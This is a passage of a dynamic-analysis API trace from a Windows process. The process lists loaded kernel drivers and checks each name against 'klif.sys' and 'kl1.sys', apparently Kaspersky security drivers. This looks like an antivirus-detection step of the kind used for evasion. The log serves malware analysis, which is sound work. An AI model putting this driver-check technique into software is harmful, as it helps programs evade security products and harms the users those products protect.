	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe6740000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WdFilter.sys") returned 0xc
	[0081.775] lstrcmpiW (lpString1="WdFilter.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe6790000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NTFS.sys") returned 0x8
	[0081.776] lstrcmpiW (lpString1="NTFS.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe69b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Fs_Rec.sys") returned 0xa
	[0081.776] lstrcmpiW (lpString1="Fs_Rec.sys", lpString2="klif.sys") returned -1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe69c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ndis.sys") returned 0x8
	[0081.776] lstrcmpiW (lpString1="ndis.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe6af0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NETIO.SYS") returned 0x9
	[0081.776] lstrcmpiW (lpString1="NETIO.SYS", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe6b70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksecpkg.sys") returned 0xb
	[0081.776] lstrcmpiW (lpString1="ksecpkg.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe7de0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tcpip.sys") returned 0x9
	[0081.776] lstrcmpiW (lpString1="tcpip.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe8040000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fwpkclnt.sys") returned 0xc
	[0081.776] lstrcmpiW (lpString1="fwpkclnt.sys", lpString2="klif.sys") returned -1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe80b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="wfplwfs.sys") returned 0xb
	[0081.776] lstrcmpiW (lpString1="wfplwfs.sys", lpString2="klif.sys") returned 1
	[0081.776] GetDeviceDriverBaseNameW (in: ImageBase=0xe80e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fvevol.sys") returned 0xa
	[0081.777] lstrcmpiW (lpString1="fvevol.sys", lpString2="klif.sys") returned -1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe8180000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volsnap.sys") returned 0xb
	[0081.777] lstrcmpiW (lpString1="volsnap.sys", lpString2="klif.sys") returned 1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e00000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdyboost.sys") returned 0xc
	[0081.777] lstrcmpiW (lpString1="rdyboost.sys", lpString2="klif.sys") returned 1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e50000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mup.sys") returned 0x7
	[0081.777] lstrcmpiW (lpString1="mup.sys", lpString2="klif.sys") returned 1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe6e90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="disk.sys") returned 0x8
	[0081.777] lstrcmpiW (lpString1="disk.sys", lpString2="klif.sys") returned -1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe6eb0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CLASSPNP.SYS") returned 0xc
	[0081.777] lstrcmpiW (lpString1="CLASSPNP.SYS", lpString2="klif.sys") returned -1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f30000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="crashdmp.sys") returned 0xc
	[0081.777] lstrcmpiW (lpString1="crashdmp.sys", lpString2="klif.sys") returned -1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe7050000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="filecrypt.sys") returned 0xd
	[0081.777] lstrcmpiW (lpString1="filecrypt.sys", lpString2="klif.sys") returned -1
	[0081.777] GetDeviceDriverBaseNameW (in: ImageBase=0xe7070000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tbs.sys") returned 0x7
	[0081.778] lstrcmpiW (lpString1="tbs.sys", lpString2="klif.sys") returned 1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe7080000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Null.SYS") returned 0x8
	[0081.778] lstrcmpiW (lpString1="Null.SYS", lpString2="klif.sys") returned 1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe7090000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Beep.SYS") returned 0x8
	[0081.778] lstrcmpiW (lpString1="Beep.SYS", lpString2="klif.sys") returned -1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe70a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BasicDisplay.sys") returned 0x10
	[0081.778] lstrcmpiW (lpString1="BasicDisplay.sys", lpString2="klif.sys") returned -1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe70c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="watchdog.sys") returned 0xc
	[0081.778] lstrcmpiW (lpString1="watchdog.sys", lpString2="klif.sys") returned 1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe70e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dxgkrnl.sys") returned 0xb
	[0081.778] lstrcmpiW (lpString1="dxgkrnl.sys", lpString2="klif.sys") returned -1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe72d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BasicRender.sys") returned 0xf
	[0081.778] lstrcmpiW (lpString1="BasicRender.sys", lpString2="klif.sys") returned -1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe72f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Npfs.SYS") returned 0x8
	[0081.778] lstrcmpiW (lpString1="Npfs.SYS", lpString2="klif.sys") returned 1
	[0081.778] GetDeviceDriverBaseNameW (in: ImageBase=0xe7310000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Msfs.SYS") returned 0x8
	[0081.779] lstrcmpiW (lpString1="Msfs.SYS", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7320000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tdx.sys") returned 0x7
	[0081.779] lstrcmpiW (lpString1="tdx.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7350000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="TDI.SYS") returned 0x7
	[0081.779] lstrcmpiW (lpString1="TDI.SYS", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7360000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="netbt.sys") returned 0x9
	[0081.779] lstrcmpiW (lpString1="netbt.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe73b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="afd.sys") returned 0x7
	[0081.779] lstrcmpiW (lpString1="afd.sys", lpString2="klif.sys") returned -1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7450000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="vwififlt.sys") returned 0xc
	[0081.779] lstrcmpiW (lpString1="vwififlt.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7470000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pacer.sys") returned 0x9
	[0081.779] lstrcmpiW (lpString1="pacer.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe74a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="netbios.sys") returned 0xb
	[0081.779] lstrcmpiW (lpString1="netbios.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe74c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdbss.sys") returned 0x9
	[0081.779] lstrcmpiW (lpString1="rdbss.sys", lpString2="klif.sys") returned 1
	[0081.779] GetDeviceDriverBaseNameW (in: ImageBase=0xe7540000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="csc.sys") returned 0x7
	[0081.780] lstrcmpiW (lpString1="csc.sys", lpString2="klif.sys") returned -1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe75d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="nsiproxy.sys") returned 0xc
	[0081.780] lstrcmpiW (lpString1="nsiproxy.sys", lpString2="klif.sys") returned 1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe75e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="npsvctrig.sys") returned 0xd
	[0081.780] lstrcmpiW (lpString1="npsvctrig.sys", lpString2="klif.sys") returned 1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe75f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mssmbios.sys") returned 0xc
	[0081.780] lstrcmpiW (lpString1="mssmbios.sys", lpString2="klif.sys") returned 1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe7600000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="gpuenergydrv.sys") returned 0x10
	[0081.780] lstrcmpiW (lpString1="gpuenergydrv.sys", lpString2="klif.sys") returned -1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe7610000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dfsc.sys") returned 0x8
	[0081.780] lstrcmpiW (lpString1="dfsc.sys", lpString2="klif.sys") returned -1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe7660000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ahcache.sys") returned 0xb
	[0081.780] lstrcmpiW (lpString1="ahcache.sys", lpString2="klif.sys") returned -1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe76a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CompositeBus.sys") returned 0x10
	[0081.780] lstrcmpiW (lpString1="CompositeBus.sys", lpString2="klif.sys") returned -1
	[0081.780] GetDeviceDriverBaseNameW (in: ImageBase=0xe76c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kdnic.sys") returned 0x9
	[0081.781] lstrcmpiW (lpString1="kdnic.sys", lpString2="klif.sys") returned -1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe76d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="umbus.sys") returned 0x9
	[0081.781] lstrcmpiW (lpString1="umbus.sys", lpString2="klif.sys") returned 1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe76f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HDAudBus.sys") returned 0xc
	[0081.781] lstrcmpiW (lpString1="HDAudBus.sys", lpString2="klif.sys") returned -1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe7710000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="portcls.sys") returned 0xb
	[0081.781] lstrcmpiW (lpString1="portcls.sys", lpString2="klif.sys") returned 1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe7770000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="drmk.sys") returned 0x8
	[0081.781] lstrcmpiW (lpString1="drmk.sys", lpString2="klif.sys") returned -1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe77a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ks.sys") returned 0x6
	[0081.781] lstrcmpiW (lpString1="ks.sys", lpString2="klif.sys") returned 1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe7810000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="usbehci.sys") returned 0xb
	[0081.781] lstrcmpiW (lpString1="usbehci.sys", lpString2="klif.sys") returned 1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe7830000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="USBPORT.SYS") returned 0xb
	[0081.781] lstrcmpiW (lpString1="USBPORT.SYS", lpString2="klif.sys") returned 1
	[0081.781] GetDeviceDriverBaseNameW (in: ImageBase=0xe79b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="NdisVirtualBus.sys") returned 0x12
	[0081.782] lstrcmpiW (lpString1="NdisVirtualBus.sys", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe79c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="swenum.sys") returned 0xa
	[0081.782] lstrcmpiW (lpString1="swenum.sys", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe79d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rdpbus.sys") returned 0xa
	[0081.782] lstrcmpiW (lpString1="rdpbus.sys", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe79e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="usbhub.sys") returned 0xa
	[0081.782] lstrcmpiW (lpString1="usbhub.sys", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a60000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="USBD.SYS") returned 0x8
	[0081.782] lstrcmpiW (lpString1="USBD.SYS", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HdAudio.sys") returned 0xb
	[0081.782] lstrcmpiW (lpString1="HdAudio.sys", lpString2="klif.sys") returned -1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ae0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksthunk.sys") returned 0xb
	[0081.782] lstrcmpiW (lpString1="ksthunk.sys", lpString2="klif.sys") returned 1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe7af0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="hidusb.sys") returned 0xa
	[0081.782] lstrcmpiW (lpString1="hidusb.sys", lpString2="klif.sys") returned -1
	[0081.782] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b10000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HIDCLASS.SYS") returned 0xc
	[0081.783] lstrcmpiW (lpString1="HIDCLASS.SYS", lpString2="klif.sys") returned -1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b40000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HIDPARSE.SYS") returned 0xc
	[0081.783] lstrcmpiW (lpString1="HIDPARSE.SYS", lpString2="klif.sys") returned -1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b60000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kbdhid.sys") returned 0xa
	[0081.783] lstrcmpiW (lpString1="kbdhid.sys", lpString2="klif.sys") returned -1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kbdclass.sys") returned 0xc
	[0081.783] lstrcmpiW (lpString1="kbdclass.sys", lpString2="klif.sys") returned -1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Razerlow.sys") returned 0xc
	[0081.783] lstrcmpiW (lpString1="Razerlow.sys", lpString2="klif.sys") returned 1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ba0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mouhid.sys") returned 0xa
	[0081.783] lstrcmpiW (lpString1="mouhid.sys", lpString2="klif.sys") returned 1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7bb0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mouclass.sys") returned 0xc
	[0081.783] lstrcmpiW (lpString1="mouclass.sys", lpString2="klif.sys") returned 1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7be0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_diskdump.sys") returned 0x11
	[0081.783] lstrcmpiW (lpString1="dump_diskdump.sys", lpString2="klif.sys") returned -1
	[0081.783] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c20000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_storahci.sys") returned 0x11
	[0081.784] lstrcmpiW (lpString1="dump_storahci.sys", lpString2="klif.sys") returned -1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dump_dumpfve.sys") returned 0x10
	[0081.784] lstrcmpiW (lpString1="dump_dumpfve.sys", lpString2="klif.sys") returned -1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0x12720000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="win32k.sys") returned 0xa
	[0081.784] lstrcmpiW (lpString1="win32k.sys", lpString2="klif.sys") returned 1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0x12000000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="win32kfull.sys") returned 0xe
	[0081.784] lstrcmpiW (lpString1="win32kfull.sys", lpString2="klif.sys") returned 1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0x12390000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="win32kbase.sys") returned 0xe
	[0081.784] lstrcmpiW (lpString1="win32kbase.sys", lpString2="klif.sys") returned 1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="monitor.sys") returned 0xb
	[0081.784] lstrcmpiW (lpString1="monitor.sys", lpString2="klif.sys") returned 1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ca0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="dxgmms2.sys") returned 0xb
	[0081.784] lstrcmpiW (lpString1="dxgmms2.sys", lpString2="klif.sys") returned -1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0x124f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="TSDDD.dll") returned 0x9
	[0081.784] lstrcmpiW (lpString1="TSDDD.dll", lpString2="klif.sys") returned 1
	[0081.784] GetDeviceDriverBaseNameW (in: ImageBase=0x12500000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="cdd.dll") returned 0x7
	[0081.785] lstrcmpiW (lpString1="cdd.dll", lpString2="klif.sys") returned -1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d20000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="luafv.sys") returned 0x9
	[0081.785] lstrcmpiW (lpString1="luafv.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d50000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="storqosflt.sys") returned 0xe
	[0081.785] lstrcmpiW (lpString1="storqosflt.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="lltdio.sys") returned 0xa
	[0081.785] lstrcmpiW (lpString1="lltdio.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7d90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="rspndr.sys") returned 0xa
	[0081.785] lstrcmpiW (lpString1="rspndr.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7db0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mslldp.sys") returned 0xa
	[0081.785] lstrcmpiW (lpString1="mslldp.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe6f50000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="HTTP.sys") returned 0x8
	[0081.785] lstrcmpiW (lpString1="HTTP.sys", lpString2="klif.sys") returned -1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7640000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WudfPf.sys") returned 0xa
	[0081.785] lstrcmpiW (lpString1="WudfPf.sys", lpString2="klif.sys") returned 1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe7930000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="bowser.sys") returned 0xa
	[0081.785] lstrcmpiW (lpString1="bowser.sys", lpString2="klif.sys") returned -1
	[0081.785] GetDeviceDriverBaseNameW (in: ImageBase=0xe6ba0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mrxsmb.sys") returned 0xa
	[0081.786] lstrcmpiW (lpString1="mrxsmb.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe7960000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mrxsmb20.sys") returned 0xc
	[0081.786] lstrcmpiW (lpString1="mrxsmb20.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe81e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mpsdrv.sys") returned 0xa
	[0081.786] lstrcmpiW (lpString1="mpsdrv.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe6c10000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="srvnet.sys") returned 0xa
	[0081.786] lstrcmpiW (lpString1="srvnet.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe6c60000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="srv2.sys") returned 0x8
	[0081.786] lstrcmpiW (lpString1="srv2.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d10000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mmcss.sys") returned 0x9
	[0081.786] lstrcmpiW (lpString1="mmcss.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e00000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mrxsmb10.sys") returned 0xc
	[0081.786] lstrcmpiW (lpString1="mrxsmb10.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e50000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Ndu.sys") returned 0x7
	[0081.786] lstrcmpiW (lpString1="Ndu.sys", lpString2="klif.sys") returned 1
	[0081.786] GetDeviceDriverBaseNameW (in: ImageBase=0xe8e80000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="peauth.sys") returned 0xa
	[0081.787] lstrcmpiW (lpString1="peauth.sys", lpString2="klif.sys") returned 1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8f40000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="srv.sys") returned 0x7
	[0081.787] lstrcmpiW (lpString1="srv.sys", lpString2="klif.sys") returned 1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8fd0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tcpipreg.sys") returned 0xc
	[0081.787] lstrcmpiW (lpString1="tcpipreg.sys", lpString2="klif.sys") returned 1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8400000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WdNisDrv.sys") returned 0xc
	[0081.787] lstrcmpiW (lpString1="WdNisDrv.sys", lpString2="klif.sys") returned 1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8460000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="condrv.sys") returned 0xa
	[0081.787] lstrcmpiW (lpString1="condrv.sys", lpString2="klif.sys") returned -1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8480000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="e1i63x64.sys") returned 0xc
	[0081.787] lstrcmpiW (lpString1="e1i63x64.sys", lpString2="klif.sys") returned -1
	[0081.787] GetDeviceDriverBaseNameW (in: ImageBase=0xe8530000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tunnel.sys") returned 0xa
	[0081.787] lstrcmpiW (lpString1="tunnel.sys", lpString2="klif.sys") returned 1
	[0081.787] VirtualFree (lpAddress=0xe40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0081.788] EnumDeviceDrivers (in: lpImageBase=0x19ff08, cb=0x4, lpcbNeeded=0x19ff0c | out: lpImageBase=0x19ff08*=0xc1c05000, lpcbNeeded=0x19ff0c) returned 1
	[0081.788] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.788] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19ff08 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19ff08) returned 1
	[0081.788] GetDeviceDriverBaseNameW (in: ImageBase=0xc1c05000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ntoskrnl.exe") returned 0xc
	[0081.788] lstrcmpiW (lpString1="ntoskrnl.exe", lpString2="kl1.sys") returned 1
	[0081.788] GetDeviceDriverBaseNameW (in: ImageBase=0xc2457000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="hal.dll") returned 0x7
	[0081.789] lstrcmpiW (lpString1="hal.dll", lpString2="kl1.sys") returned -1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xc0d36000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kd.dll") returned 0x6
	[0081.789] lstrcmpiW (lpString1="kd.dll", lpString2="kl1.sys") returned -1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d30000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mcupdate_GenuineIntel.dll") returned 0x19
	[0081.789] lstrcmpiW (lpString1="mcupdate_GenuineIntel.dll", lpString2="kl1.sys") returned 1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe6dc0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="werkernel.sys") returned 0xd
	[0081.789] lstrcmpiW (lpString1="werkernel.sys", lpString2="kl1.sys") returned 1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e00000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CLFS.SYS") returned 0x8
	[0081.789] lstrcmpiW (lpString1="CLFS.SYS", lpString2="kl1.sys") returned -1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tm.sys") returned 0x6
	[0081.789] lstrcmpiW (lpString1="tm.sys", lpString2="kl1.sys") returned 1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ea0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="PSHED.dll") returned 0x9
	[0081.789] lstrcmpiW (lpString1="PSHED.dll", lpString2="kl1.sys") returned 1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ec0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BOOTVID.dll") returned 0xb
	[0081.789] lstrcmpiW (lpString1="BOOTVID.dll", lpString2="kl1.sys") returned -1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ed0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="cmimcext.sys") returned 0xc
	[0081.789] lstrcmpiW (lpString1="cmimcext.sys", lpString2="kl1.sys") returned -1
	[0081.789] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ee0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ntosext.sys") returned 0xb
	[0081.790] lstrcmpiW (lpString1="ntosext.sys", lpString2="kl1.sys") returned 1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ef0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CI.dll") returned 0x6
	[0081.790] lstrcmpiW (lpString1="CI.dll", lpString2="kl1.sys") returned -1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe5f90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="msrpc.sys") returned 0x9
	[0081.790] lstrcmpiW (lpString1="msrpc.sys", lpString2="kl1.sys") returned 1
	[0081.790] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ff0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="FLTMGR.SYS") returned 0xa
